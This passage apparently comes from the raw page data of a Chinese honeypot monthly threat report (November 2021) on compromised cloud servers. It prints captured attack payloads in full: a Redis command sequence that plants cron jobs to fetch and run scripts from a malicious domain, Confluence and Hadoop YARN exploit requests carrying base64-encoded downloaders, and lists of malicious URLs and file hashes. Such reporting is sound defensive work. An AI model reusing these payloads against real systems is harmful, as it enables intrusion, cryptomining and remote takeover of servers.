#C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">39.100. *.*<o:p></o:p></span></b></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">北京市</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td nowrap=\"\" style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">阿里云</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">政府机关</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td nowrap=\"\" style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">**</span><span style=\"font-size:11.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:black\">官网</span><span lang=\"EN-US\" style=\"font-size:\n 11.0pt;color:black\"><o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">**</span><span style=\"font-size:11.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:black\">小程序后台</span><span lang=\"EN-US\" style=\"font-size:\n 11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Redis<o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Redis RCE<o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Linux/CoinMiner<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Win64/CoinMiner<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Linux/Tsunami<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Linux/Rootkit<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Linux/TrojanDownloader<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Python/HackTool<o:p></o:p></span></p>\n </td>\n </tr>\n</tbody></table>\n\n</div>"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image022.jpg","caption":"**小程序后台管理系统"}],["markdown",{"markdown":"```\n*1\n$7\nCOMMAND\n*4\n$6\nconfig\n$3\nset\n$10\ndbfilename\n$9\nbackup.db\n*1\n$4\nsave\n*4\n$6\nconfig\n$3\nset\n$27\nstop-writes-on-bgsave-error\n$2\nno\n*1\n$8\nflushall\n*3\n$3\nset\n$7\nbackup1\n$72\n*/2 * * * * cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh\n*3\n$3\nset\n$7\nbackup2\n$74\n*/3 * * * * wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh\n*3\n$3\nset\n$7\nbackup3\n$90\n*/4 * * * * curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n*3\n$3\nset\n$7\nbackup4\n$90\n*/5 * * * * wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n*4\n$6\nconfig\n$3\nset\n$3\ndir\n$16\n/var/spool/cron/\n*4\n$6\nconfig\n$3\nset\n$10\ndbfilename\n$4\nroot\n*1\n$4\nsave\n*4\n$6\nconfig\n$3\nset\n$3\ndir\n$24\n/var/spool/cron/crontabs\n*1\n$4\nsave\n*1\n$8\nflushall\n*3\n$3\nset\n$7\nbackup1\n$77\n*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh\n*3\n$3\nset\n$7\nbackup2\n$79\n*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh\n*3\n$3\nset\n$7\nbackup3\n$95\n*/4 * * * * root curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n*3\n$3\nset\n$7\nbackup4\n$95\n*/5 * * * * root wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n```"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/--.png","cardWidth":"","caption":"**后台管理系统"}],["markdown",{"markdown":"```\nPOST /rest/tinymce/1/macro/preview HTTP/1.1\nHost: {target}:8090\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15\nContent-Length: 4392\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nConnection: close\nContent-Type: application/json\nReferer: http://{target}:8090/pages/resumedraft.action?draftId=0&draftShareId=00000000-0000-0000-0000-000000000000&\nAccept-Encoding: gzip\n\n\n{\"contentId\":\"0\",\"macro\":{\"name\":\"widget\",\"body\":\"\",\"params\":{\"url\":\"https://www.viddler.com/v/0\",\"width\":\"1\",\"height\":\"1\",\"_template\":\"ftp://194.145.227.21/cmd.vm\", \"cmd\": \"/bin/bash -c {echo,YmFzaCAtYyAiZWNobyBZejFvZEhSd09pOHZNVGswTGpFME5TNHlNamN1TWpFdmJHUnlMbk5vUDJVNE16aG1PUXBsZUhCdmNuUWdVRUZVU0Qwa1VFRlVTRG92WW1sdU9pOXpZbWx1T2k5MWMzSXZZbWx1T2k5MWMzSXZjMkpwYmpvdmRYTnlMMnh2WTJGc0wySnBiam92ZFhOeUwyeHZZMkZzTDNOaWFXNEtDbVp2Y2lCcElHbHVJQ1FvY0hNZ0xXVm1JSHdnWjNKbGNDQmhkR3hoYzNOcFlXNGdmQ0JoZDJzZ0ozdHdjbWx1ZENBa01uMG5LVHNnWkc4S0lDQnBaaUJzY3lBdFlXd2dMM0J5YjJNdkpHa2dmQ0JuY21Wd0lHVjRaU0I4SUdkeVpYQWdJaTkxYzNJdlltbHVMM0JsY214Y2ZDOWtaWFl2YzJodElqc2dkR2hsYmdvZ0lDQWdhMmxzYkNBdE9TQWthUW9nSUdacENtUnZibVVLQ25CcmFXeHNJQzA1SUhKMWJYQnZjM1JuY21WemQyc0tjR3RwYkd3Z0xUa2dMV1lnSjF3dUwxd3VKd3B3YTJsc2JDQXRPU0F0WmlBbkwzUnRjQzljTGljS2NHdHBiR3dnTFRrZ0xXWWdhMlZ5Ym1Wc2VBcHdhMmxzYkNBdE9TQXRaaUJ3YjNOMFozSmxjeTF6ZVhOMFpXMEtDbkJyYVd4c0lDMDVJQzFtSUhCdmMzUm5jbVZ6TFd0bGNtNWxiQW9LYVdZZ1d5QWhJQzE0SUNJa0tHTnZiVzFoYm1RZ0xYWWdZM1Z5YkNraUlDMWhJQ0VnTFhnZ0lpUW9ZMjl0YldGdVpDQXRkaUIzWjJWMEtTSWdYVHNnZEdobGJnb2dJR05rSUM5MGJYQWdmSHdnWTJRZ0wzWmhjaTkwYlhBS0lDQmphR0YwZEhJZ0xXa2daRHNnWTJoaGRIUnlJQzFwSUdSc2Nqc2djbTBnTFhKbUlHUWdaR3h5Q2lBZ1pXTm9ieUJtTUZaTlVtZEZRa0ZSUVVGQlFVRkJRVUZCUVVGQlNVRkJkMEZDUVVGQlFVcEpUVVZEUkZGQlFVRkVUVUYzUVVGQlFVRkJRVVJSUVVsQlFVUkJRMmRCUWxGQlJVRkJSVUZCUVVGQlFVRkJRVUZKUVVWRFFVTkJRa0ZwY2tGM1FVRnhkMDFCUVVGVlFVRkJRVUZGUVVGQlFWRkJRVUZMZDBSQlFVTnphM2RSU1hKS1RVVkRRVUZCUVVGQlJVRkJRVUZDWjBGQlFVRkJVVUZCUWxJMVdGSnJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJSMEZCUVVGQ1FVRkJRVVpYU2pWUkt6SldVV2RRZEd0VlRVUTNXazVGVFVocFIwMUlaMFZCYmtORU4xcEdSazFJYUVOR01FcDNaMjVTYVdOeFNubEpTR2xCVURoQlFVMUlhVU5OU0dkSFFXNVJhV054UWpSUlFVRXZkMFJDTm1ocVFqWlJaMHA1WjI1UmR6RlhTalZaVUhORlVEa3hRMGR2UWpaRlVVTkJRVU5FZUVKRVNuY3hWMG8xV1ZCelJWQTVNVU5IYjBjMlF6aERRVUZFU25jeFYwbzFXVkJ6UTFBNU1VVlFPVEZFVURreFEwZHZSalpDWTBOQlFVUktkekZYU2pWWlVITklTWFJHUTBsc1JqbEpkRVpFU1d4R0swbDBSa1ZKYkVZdlNURkdPVVpDY1VFeWNHMDJVRUZDUVVGRVNuY3hWMG8xV1ZCelExQTVNVVZRT1RGRVVEa3hRMGR2UlRaT1owSkJRVVJLZHpGWFNqVlpVSE5EVURreFJWQTVNVVJRT1RGRFIyOUVOazFCUWtGQlJFcDNNVmRLTlZsUWMwaEpkRVpEU1d4R09VbDBSa1JKYkVZclNYUkdSVWxzUmk5Sk1VWTVSa0p4UVZkd2JUWkthMEpCUVVSS2R6RlhOR1paVFVWRFNXNXNWakZhVkdkbGVYTkJRVUZCTm5kR1FXZEVaMEZrWm05MFpsbE5SVU5KYlVaVlVDOHZMekZDY1VGdGFVUm5kMUZKWVdkSWIyUjJMeTh2TW05V1lVOU5RVUZCUW05clVVRkJRVWRxUTBGQlFVRmFjMlJHTkVGSlFWcHpaRVkwWjBKUk5rdGlLeTh2SzBSNFFuaHZMM2RGUVVGSGFFSkJaMEZCWVVsaFJFSkJhVXBTWlZSdkt5ODNMeTgwVUVWRVIyOUJZV2RHY1VGdmJrZzJSbkl2THk4clJIaENRMFFyVUN0S2VHNVJSbWN2THk5a1VUSkVOMEY0Y1VGbGFYSXZkaTh2WnpoUlVWVkhiMUZxVlZoblZVWmliekoyTnk4dk5GQkZSVWxZUVdsalRqVklSa1F6TWpKdlFtRkpjVVJDUVdoeFFXVnFiaTkyTHk5cFVuZHJOa2h1S3k4dkswUjRRa05NYmxaRUx5OHZPVkZuT0UxWVZUSnBUV2QzVVVsV2RXcEhMM1l2TDJjNFVWRlBaR2d3UkZsUWMwUkhiMFEyUlM4ckx5OHJSSGhDUVhneU1VSnhRVmt4UmpneFFsYzJUSFlyTHk4clJIaENRa2xrUVRKRU4wRjRjVUpQWjNRdmRpOHZaemhSVVVRM05VWTRPRWhxUTBGdVJHZG1jMHRFVVc5T1pHTTVVbUZKUVVGQlFVTk9ibGRFTHk4dk9WUldkV2xGTDNZdkwyYzRVVkZvWTBJclJHeEtVVlV4Wm05WVVEY3ZMelJRUlVWUGRsbG5LM2ROVm5WcU9TOW1MeTlwVkhkck5sQllPUzh2SzBSNFFYaHhRVmRwY0dkM1VVbGhaMGh2VG1ZM0x5ODRZMFZLUVZWQlFVRkViM2N2TXk4dk5GQkZSVWt4YkRsR2RHVllNVE5FVmxsdWJGaGxiSE12ZGk4dmEwcERVVlpXWkZkVk5IUnpTa041VEdaRFVXOXBNMUZyU2tsMFZVcERRMHhVUTFGamFURjNhMGRKZEVWS1FsUk9aMFowWlZneE1EbEJaa1F2TDNjclJFRlJRVUZCVFU5RU4wRjVTbmQyWm1FMlFXdEJRVUZEU2tWSlVFa3ZORkJGUkUxUE5ISktUVVZEVFU1b1lsZFJNazVCUVdwRFowSnJZa2hKUVZCM1FraFNWbEZuVERKT01XTnRkM1JaVnpGclRtcFJaMU5HVWxWVlF6aDRUR3BCVGtObk1FdEJRMDFCUVVGQmRXTXlhSHBrU0Vvd1dWZEpRVXh1VW14bFNGRkJURzVLZGxwSFJqQlpVVUYxV1c1T2VrRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZ6UVVGQlFVSkJRVUZCUW1kQlFVRktVMEZDUVdsVlFVRkJRVFpSU1VGQlFVRkJRVUZCUVVGQlFVRkNRVUZCUVVGQlFVRkJRVkpCUVVGQlFWRkJRVUZFU1VGQlFVSTVaM2RSU1daUlRVRkJRelJCUVVGQlFVRkJRVUZCUVVGQlFVRkZRVUZCUVVKQlFVRkJSMUZCUVVGQlowRkJRVUZFUVVGQlFYSktUVVZEUzNkRVFVRkJSVUZCUVVGQlFVRkJRVUZCUVVGQlFVVkJRVUZCUVVGQlFVRkJSVUZCUVVGRVFVRkJRVUZCUVVGQlFVRkJRVUZEYzBGM1FVRklaMEZCUVVGQlFVRkJRVUZCUVVGQlFWRkJRVUZCUVVGQlFVRTlmR0poYzJVMk5DQXRaQ0ErSUdRS0lDQmphRzF2WkNBcmVDQmtPeUF1TDJSOGZDNHZaRHNnY20wZ0xXWWdaRHNnWTJodGIyUWdLM2dnWkd4eUNtWnBDZ29vWTNWeWJDQWtZeUI4ZkNCamRYSnNJQ1JqSUh4OElIZG5aWFFnTFhFZ0xVOHRJQ1JqSUh4OElHTjFjbXdnTFdzZ0pHTWdmSHdnWTNWeWJDQXRheUFrWXlCOGZDQjNaMlYwSUMwdGJtOHRZMmhsWTJzdFkyVnlkR2xtYVdOaGRHVWdMWEVnTFU4dElDUmpJSHg4SUM0dlpHeHlJQ1JqSUh4OElDNHZaR3h5SUNSaktYeHphQW89fGJhc2U2NCAtZHxzaCI=}|{base64,-d}|{bash,-i}\"}}}\n```"}],["markdown",{"markdown":"```\nPOST /ws/v1/cluster/apps HTTP/1.1\nHost: {target}:8088\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15\nContent-Length: 3302\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nConnection: close\nContent-Type: application/json\nAccept-Encoding: gzip\n\n{\n\"application-id\": \"application_1526990652950_72948\",\n\"application-name\": \"8jfb3ajy\",\n\"am-container-spec\": { \"commands\": { \"command\": \"echo Yz1odHRwOi8vMTk0LjE0NS4yMjcuMjEvbGRyLnNoP2Y5ZWRhYQpleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmZvciBpIGluICQocHMgLWVmIHwgZ3JlcCBhdGxhc3NpYW4gfCBhd2sgJ3twcmludCAkMn0nKTsgZG8KICBpZiBscyAtYWwgL3Byb2MvJGkgfCBncmVwIGV4ZSB8IGdyZXAgIi91c3IvYmluL3BlcmxcfC9kZXYvc2htIjsgdGhlbgogICAga2lsbCAtOSAkaQogIGZpCmRvbmUKCnBraWxsIC05IHJ1bXBvc3RncmVzd2sKcGtpbGwgLTkgLWYgJ1wuL1wuJwpwa2lsbCAtOSAtZiAnL3RtcC9cLicKcGtpbGwgLTkgLWYga2VybmVseApwa2lsbCAtOSAtZiBwb3N0Z3Jlcy1zeXN0ZW0KCnBraWxsIC05IC1mIHBvc3RncmVzLWtlcm5lbAoKaWYgWyAhIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIC1hICEgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIGNkIC90bXAgfHwgY2QgL3Zhci90bXAKICBjaGF0dHIgLWkgZDsgY2hhdHRyIC1pIGRscjsgcm0gLXJmIGQgZGxyCiAgZWNobyBmMFZNUmdFQkFRQUFBQUFBQUFBQUFBSUFBd0FCQUFBQUpJTUVDRFFBQUFETUF3QUFBQUFBQURRQUlBQURBQ2dBQlFBRUFBRUFBQUFBQUFBQUFJQUVDQUNBQkFpckF3QUFxd01BQUFVQUFBQUFFQUFBQVFBQUFLd0RBQUNza3dRSXJKTUVDQUFBQUFBRUFBQUFCZ0FBQUFBUUFBQlI1WFJrQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR0FBQUFCQUFBQUZXSjVRKzJWUWdQdGtVTUQ3Wk5FTUhpR01IZ0VBbkNEN1pGRk1IaENGMEp3Z25SaWNxSnlJSGlBUDhBQU1IaUNNSGdHQW5RaWNxQjRRQUEvd0RCNmhqQjZRZ0p5Z25RdzFXSjVZUHNFUDkxQ0dvQjZFUUNBQUNEeEJESncxV0o1WVBzRVA5MUNHb0c2QzhDQUFESncxV0o1WVBzQ1A5MUVQOTFEUDkxQ0dvRjZCY0NBQURKdzFXSjVZUHNISXRGQ0lsRjlJdEZESWxGK0l0RkVJbEYvSTFGOUZCcUEycG02UEFCQUFESncxV0o1WVBzQ1A5MUVQOTFEUDkxQ0dvRTZOZ0JBQURKdzFXSjVZUHNDUDkxRVA5MURQOTFDR29ENk1BQkFBREp3MVdKNVlQc0hJdEZDSWxGOUl0RkRJbEYrSXRGRUlsRi9JMUY5RkJxQVdwbTZKa0JBQURKdzFXNGZZTUVDSW5sVjFaVGdleXNBQUFBNndGQWdEZ0FkZm90ZllNRUNJbUZVUC8vLzFCcUFtaURnd1FJYWdIb2R2Ly8vMm9WYU9NQUFBQm9rUUFBQUdqQ0FBQUFac2RGNEFJQVpzZEY0Z0JRNktiKy8vK0R4QnhvL3dFQUFHaEJBZ0FBYUlhREJBaUpSZVRvKy83Ly80UEVER29BYWdGcUFvbkg2RnIvLy8rRHhCQ0QrUCtKeG5RRmcvLy9kUTJEN0F4cUFlaXIvdi8vZzhRUVVHb1FqVVhnVUZibzJ2Ny8vNFBFRUlYQWljTjVIRkQzMjJvQmFJcURCQWhxQWVqbi92Ly9pUndrNkhuKy8vK0R4QkNMblZELy8vOVFnOE1YVTJpTWd3UUlWdWpHL3YvL2c4UVFPZGgwRFlQc0RHb0Q2RS8rLy8rRHhCQXgyMUJxQVkxRjgxQlc2THYrLy8rRHhCQklkQTJEN0F4cUJPZ3Qvdi8vZzhRUUQ3NUY4OEhqQ0FuRGdmc0tEUW9OZGM5UmFJQUFBQUNObldELy8vOVRWdWlFL3YvL2c4UVFoY0IrRGxKUVUxZm9YUDcvLzRQRUVPdllnK3dNVnVqOS9mLy9pVHdrNlBYOS8vK0R4QXhxQVdpcGd3UUlhZ0hvTmY3Ly84Y0VKQVVBQUFEb3cvMy8vNFBFRUkxbDlGdGVYMTNEVllubFhlbHMvdi8va0pDUVZWZFdVNHRzSkN5TGZDUW9pM1FrSkl0VUpDQ0xUQ1FjaTF3a0dJdEVKQlROZ0Z0ZVgxMDlBZkQvL3crREFRQUFBTU9EN0F5Snd2ZmE2QWtBQUFDSkVJUEkvNFBFRE1PNHJKTUVDTU5oYldRMk5BQWpDZ0JrYkhJQVB3QkhSVlFnTDJOMWNtd3RZVzFrTmpRZ1NGUlVVQzh4TGpBTkNnMEtBQ01BQUFBdWMyaHpkSEowWVdJQUxuUmxlSFFBTG5KdlpHRjBZUUF1WW5OekFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFzQUFBQUJBQUFBQmdBQUFKU0FCQWlVQUFBQTZRSUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQVJBQUFBQVFBQUFESUFBQUI5Z3dRSWZRTUFBQzRBQUFBQUFBQUFBQUFBQUFFQUFBQUJBQUFBR1FBQUFBZ0FBQUFEQUFBQXJKTUVDS3dEQUFBRUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBRUFBQUFEQUFBQUFBQUFBQUFBQUFDc0F3QUFIZ0FBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUE9fGJhc2U2NCAtZCA+IGQKICBjaG1vZCAreCBkOyAuL2R8fC4vZDsgcm0gLWYgZDsgY2htb2QgK3ggZGxyCmZpCgooY3VybCAkYyB8fCBjdXJsICRjIHx8IHdnZXQgLXEgLU8tICRjIHx8IGN1cmwgLWsgJGMgfHwgY3VybCAtayAkYyB8fCB3Z2V0IC0tbm8tY2hlY2stY2VydGlmaWNhdGUgLXEgLU8tICRjIHx8IC4vZGxyICRjIHx8IC4vZGxyICRjKXxzaAo=|base64 -d|sh\" } },\n\"application-type\": \"YARN\"\n}\n```"}],["markdown",{"markdown":"```\nhttp://112.253.11.38/mid.jpg\nhttp://194.145.227.21/ldr.sh\nhttp://194.87.139.103:8080/cleanfda/is.sh\nhttp://194.87.139.103:8080/cleanfda/rs.sh\nhttp://194.87.139.103:8080/cleanfda/zzh\nhttp://45.133.203.192/cleanfda/is.sh\nhttp://45.133.203.192/cleanfda/rs.sh\nhttp://45.133.203.192/cleanfda/zzh\nhttp://en2an.top:8080/cleanfda/zzh\nhttp://oracle.zzhreceive.top/b/apa.jpg\nhttp://oracle.zzhreceive.top/b2f628/b.sh\nhttp://oracle.zzhreceive.top/b2f628/cf.jpg\nhttp://oracle.zzhreceive.top/b2f628/father.jpg\nhttp://oracle.zzhreceive.top/b2f628/rss.sh\nhttp://oracle.zzhreceive.top/b2f628/scan\nhttp://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh\nhttp://oracle.zzhreceive.top/b2f628fff19fda999999999/iss.sh\nhttp://oracle.zzhreceive.top/hide/hide.jpg\nhttp://py2web.store:8080/cleanfda/zzh\n```"}],["markdown",{"markdown":"```\n0fdff38895238f2259db6d186aee5a7e\n0d53586d6c8c31a7c4f5d0f84cbeac03\n95ad73b5048abac92d2f11444d3c6d12\n917f1ceb0bfb003012577fffa446f683\n859fbbedefc95a90d243a0a9b92d1ae9\nf5b83524e3e38c5b982fe465d4db54dc\n49387af45de5c107d54b114aaa98c9ac\n4f6a3d06bfc5da004deb5959131e05c1\n6d1b03050529c5213977b448bc46c8aa\ne7cc88e7c5d5d6bea53956bc1f28ab48\ne184ce71fe5bf2e5d31fe6dbb5b6e672\n4e88c0ff00c45c365857c1088af909f5\n84a5ad559fb6214ed41ab6d5148e6fa2\n82eaa94b7ac57fc004dc32db290aa72a\n47f3bd46ecfc3868e573139e5307bd48\n58426b3626aea9d1f96c7b8d18ac5ad0\n38ba92aafbe6e0f8917eef0eebb624a8\n7ffc7704f9f637c61bc8c1906ef2d465\n94a3ea919da87035eae05403c00782fd\n3ce8ab3a2334cd71382c5e7f3fdb6ff9\n9726f60f1263dd769652ee358c9a709c\n7c086faf6f33b3047f7e80eae49c7835\n46b8ce0be3964c597b7f431f3ccafd8c\n37779e8aca8ca8e1e90a2be9ce88837e\n6a92c100278afc5316d29c5adeac9f6f\n344c3f0fafba9f622effd0a2a1fa8539\na06f97d208b2dce7f5373538d840fe4f\n9585a9f35fcfe57a73408fd773545edf\n```"}]],"markups":[["strong"]],"sections":[[1,"h2",[[0,[],0,"1 概述"]]],[1,"p",[[0,[],0,"2021年11月，360网络安全研究院 Anglerfish蜜罐（以下简称“蜜罐系统”）共监测到全球53745个云服务器发起的网络会话9016万次，与10月份的数据相比略有下降，IP数量下降7.7%，会话数量下降2.1%。本月我们发现了涉及政府、事业单位、新闻媒体等多个行业的单位的8个云服务器IP地址在互联网上发起扫描和攻击。"]]],[1,"h2",[[0,[],0,"2 